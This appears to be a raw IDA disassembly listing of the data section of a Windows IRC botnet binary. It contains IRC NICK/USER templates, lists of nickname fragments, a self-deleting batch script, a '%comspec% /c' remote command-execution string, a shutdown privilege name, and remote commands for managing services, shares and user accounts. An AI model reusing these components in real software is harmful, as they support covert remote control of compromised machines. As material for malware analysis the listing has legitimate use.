		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
; ---------------------------------------------------------------------------
		fmul	dword ptr [ebp-7233FFBDh]
		inc	ebx
		add	al, al
		lea	eax, [ebx+0]
		mov	ah, 8Dh
		inc	ebx
		add	[eax-5FFFBC73h], ch
		lea	eax, [ebx+0]
		xchg	eax, esp
		lea	eax, [ebx+0]


loc_438A6C:				; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
		mov	[ebp-6A07FFBDh], cl
		inc	edx
		add	[ebp+ecx*4-727FFFBDh], al
		inc	ebx
		add	[eax-73h], bh
		inc	ebx
		add	[ebp+ecx*4+43h], dh
		add	[eax-73h], dh
		inc	ebx
		add	[eax-73h], ch
		inc	ebx
		add	[eax-73h], ah
		inc	ebx
		add	[eax-73h], bl
		inc	ebx
		add	[eax-73h], dl
		inc	ebx
		add	[eax-73h], cl
		inc	ebx
		add	[eax-73h], al
		inc	ebx
		add	[eax], bh
		lea	eax, [ebx+0]
		xor	[ebp-72DBFFBDh], cl
		inc	ebx
		add	ds:8D140043h[ecx*4], bl
		inc	ebx
		add	[eax], dl
		lea	eax, [ebx+0]
		or	[ebp-6D03FFBDh], cl
		inc	ebx
		add	al, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439318
		dd offset aE		; "e"
		dd offset dword_439314
		dd offset dword_439310
		dd offset dword_43930C
		dd offset aI		; "i"
		dd offset dword_42B93C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_439308
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439320
		dd offset dword_439300
		dd offset dword_43931C
		dd offset dword_439304
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
; ---------------------------------------------------------------------------
		aam	8Ch
		inc	ebx
		add	ah, cl
		mov	word ptr [ebx+0], es
		les	ecx, [ebx+eax*2+43930400h]
		add	[eax], dl
		xchg	eax, ebx


loc_438B52:				; CODE XREF: ___:00438BC4j
		inc	ebx
		add	[eax-73FFBD3Ah], al
		mov	byte ptr [edx+0], 0C0h
		mov	word ptr [ebx+0], es
		mov	eax, 9800438Ch
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		mov	ah, 8Ch
		inc	ebx
		add	[eax-67FFBC25h], bl
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		int	3		; Trap to Debugger
		xchg	eax, edx
		inc	ebx
		add	[edx+edx*4-7353FFBDh], bl
		inc	ebx
		add	[eax-5FFFBC74h], ch
		mov	word ptr [ebx+0], es
		cld
		xchg	eax, edx
		inc	ebx
		add	[eax-6BFFBC25h], bl
		mov	word ptr [ebx+0], es
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		mov	word ptr [ebx+eax*2+438C8400h],	cs
		add	[eax-67FFBC25h], bl
		fild	dword ptr [ebx+0]
		mov	al, 92h
		inc	ebx
		add	[eax-7FFFBC25h], bl
		mov	word ptr [ebx+0], es
		js	short loc_438B52
		inc	ebx
		add	[eax-74h], dh
		inc	ebx
		add	[eax-74h], ch
		inc	ebx
		add	[esp+ecx*4+43h], ah
		add	[esp+ecx*4+43h], bl
		add	[esp+ecx*4+43h], dl
		add	[esp+ecx*4+43h], cl
		add	[esp+ecx*4+43h], al
		add	[eax-74h], al
		inc	ebx
		add	[esp+ecx*4], bh
		inc	ebx
		add	[esp+ecx*4], dh
		inc	ebx
		add	[eax], ch
		mov	word ptr [ebx+0], es
		and	[ebx+eax*2+438C1800h], cl
		add	[eax], dl
		mov	word ptr [ebx+0], es
		or	al, 8Ch
		inc	ebx
		add	[eax], cl
		mov	word ptr [ebx+0], es
		db	36h
		jnz	short $+3
		add	ds:7C000075h, dh
		xor	al, 75h
		jl	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6F79347Bh, 7D75h, 7375347Ch,	7Ch, 7865737Ch,	65726634h
		dd 7C65h, 6F6C6F6Ch, 7C617Ch, 6C6F6Ch, 746F74h,	6F666F6Dh
		dd 0
aMof0		db 'mof0',0
		align 4
aMuha		db 'muha',0
		align 4
aYeah		db 'yeah',0
		align 4
aAha		db 'aha',0
aShit		db 'shit',0
		align 10h
aGurl		db 'gurl',0
		align 4
aGirl_0		db 'GIRL',0
		align 10h
		dd offset word_594F42
aFree		db 'Free',0
		align 4
aFuck_0		db 'Fuck',0
		align 4
aSleeping	db 'Sleeping',0
		align 10h
aF_2		db '^^^f^',0
		align 4
aSad		db 'Sad',0
aLuvu		db 'LUVU',0
		align 4
a___0		db '_|_',0
aBbl		db '|bbl',0
		align 10h
		dd offset loc_425240+2
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B3Co
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B38o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B34o
aRt		db 'rt',0               ; DATA XREF: ___:00438B30o
		align 10h
aGf		db 'gf',0               ; DATA XREF: ___:00438B2Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B28o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00438B24o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B20o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438B00o
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0
		align 4
aSex_0		db '{sex}',0
		align 10h
aHub		db '{hub}',0
		align 4
aLuck		db '|luck|',0
		align 10h
aSuck		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 10h
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 10h
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 10h
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 10h
aDallas43m	db 'DALLAS43M',0
		align 4
aTeoman		db 'TEOMAN```',0
		align 4
aRerpjj		db 'RERPJJ',0
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A4Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A48o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A44o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A40o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A3Co
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A38o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A34o
aAkden		db 'akden',0            ; DATA XREF: ___:00438A30o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A2Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A28o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A24o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A20o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A1Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A18o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A14o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A10o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A0Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A08o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438A04o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438A00o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389FCo
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F8o
		align 10h
off_438EA0	dd offset byte_4B5245	; DATA XREF: ___:004389F4o
aSevda		db 'sevda',0            ; DATA XREF: ___:004389F0o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389ECo
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E8o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389E4o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:004389E0o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389DCo
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D8o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389D4o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389D0o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389CCo
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C8o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389C4o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389C0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389BCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389B4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389B0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389ACo
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004389A4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004389A0o
aHoly		db 'holy',0             ; DATA XREF: ___:0043899Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438998o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00438994o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438990o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:0043898Co
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438988o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00438984o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438980o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:0043897Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438978o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00438974o
aArda		db 'arda',0             ; DATA XREF: ___:00438970o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:0043896Co
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438968o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00438964o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438960o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043895Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00438958o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00438954o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438950o
		align 4
off_439034	dd offset byte_457441	; DATA XREF: ___:0043894Co
dword_439038	dd 414C5941h, 2Dh	; DATA XREF: ___:00438948o
aAlbina		db 'albina',0           ; DATA XREF: ___:00438944o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438940o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:0043893Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438938o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00438934o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438930o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043892Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438928o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00438924o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438920o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:0043891Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00438918o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00438914o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438910o
aArzu		db 'ARZU',0             ; DATA XREF: ___:0043890Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438908o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00438904o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438900o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:004388FCo
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F8o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388F4o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388F0o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388ECo
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E8o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388E4o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388E0o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388DCo
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D8o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388D4o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388D0o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388CCo
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C8o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388C4o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388C0o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388BCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B8o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388B4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388B0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388ACo
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004388A4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: ___:004388A0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:0043889Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438898o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:00438894o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438890o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:0043888Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438888o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: ___:00438884o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00438880o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: ___:0043887Co
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00438878o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00438874o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438870o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:0043886Co
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438868o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00438864o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438860o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:0043885Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438858o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00438854o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438850o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:0043884Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438848o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00438844o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438840o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043883Co
		align 4
aM_0:					; DATA XREF: ___:00438838o
		unicode	0, <M>,0
word_4392A0	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:00438834o
		align 4
dword_4392A4	dd 42h			; DATA XREF: ___:00438830o
dword_4392A8	dd 56h			; DATA XREF: ___:0043882Co
dword_4392AC	dd 43h			; DATA XREF: ___:00438828o
dword_4392B0	dd 58h			; DATA XREF: ___:00438824o
dword_4392B4	dd 5Ah			; DATA XREF: ___:00438820o
dword_4392B8	dd 4Ch			; DATA XREF: ___:0043881Co
dword_4392BC	dd 4Bh			; DATA XREF: ___:00438818o
dword_4392C0	dd 4Ah			; DATA XREF: ___:00438814o
dword_4392C4	dd 48h			; DATA XREF: ___:00438810o
dword_4392C8	dd 47h			; DATA XREF: ___:0043880Co
dword_4392CC	dd 46h			; DATA XREF: ___:00438808o
dword_4392D0	dd 44h			; DATA XREF: ___:00438804o
dword_4392D4	dd 53h			; DATA XREF: ___:00438800o
dword_4392D8	dd 50h			; DATA XREF: ___:004387F8o
dword_4392DC	dd 4Fh			; DATA XREF: ___:004387F4o
dword_4392E0	dd 55h			; DATA XREF: ___:004387ECo
word_4392E4	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E8o
		align 4
dword_4392E8	dd 54h			; DATA XREF: ___:004387E4o
dword_4392EC	dd 52h			; DATA XREF: ___:004387E0o
dword_4392F0	dd 45h			; DATA XREF: ___:004387DCo
dword_4392F4	dd 57h			; DATA XREF: ___:004387D8o
dword_4392F8	dd 51h			; DATA XREF: ___:004387D4o
dword_4392FC	dd 62h			; DATA XREF: ___:004387C8o
dword_439300	dd 78h			; DATA XREF: ___:004387BCo
					; ___:00438B14o
dword_439304	dd 7Ah			; DATA XREF: ___:004387B8o
					; ___:00438B1Co
dword_439308	dd 6Ch			; DATA XREF: ___:004387B4o
					; ___:00438AE8o
dword_43930C	dd 68h			; DATA XREF: ___:004387A8o
					; ___:00438AD4o
dword_439310	dd 67h			; DATA XREF: ___:004387A4o
					; ___:00438AD0o
dword_439314	dd 66h			; DATA XREF: ___:004387A0o
					; ___:00438ACCo
dword_439318	dd 64h			; DATA XREF: ___:0043879Co
					; ___:00438AC4o
dword_43931C	dd 79h			; DATA XREF: ___:00438784o
					; ___:00438B18o
dword_439320	dd 77h			; DATA XREF: ___:00438774o
					; ___:00438B10o
dword_439324	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439330	dd 323334h		; DATA XREF: sub_417B76+79o
dword_439334	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_43937C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C8	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393E4:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F8	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394AC	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394DC	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439504	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439520	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_439524	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439528	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439594h, 43958Ch,	2, 439580h, 439574h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00439554o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439550o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439548o
aStart_0	db 'Start',0            ; DATA XREF: ___:00439544o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0043953Co
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439538o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439530o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043952Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439524o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439520o
unk_4395E8	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43960C	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_439638	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B8C	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439BB0	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BCC	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C18	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 4
unk_439C78	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439CA0	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439CD0	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
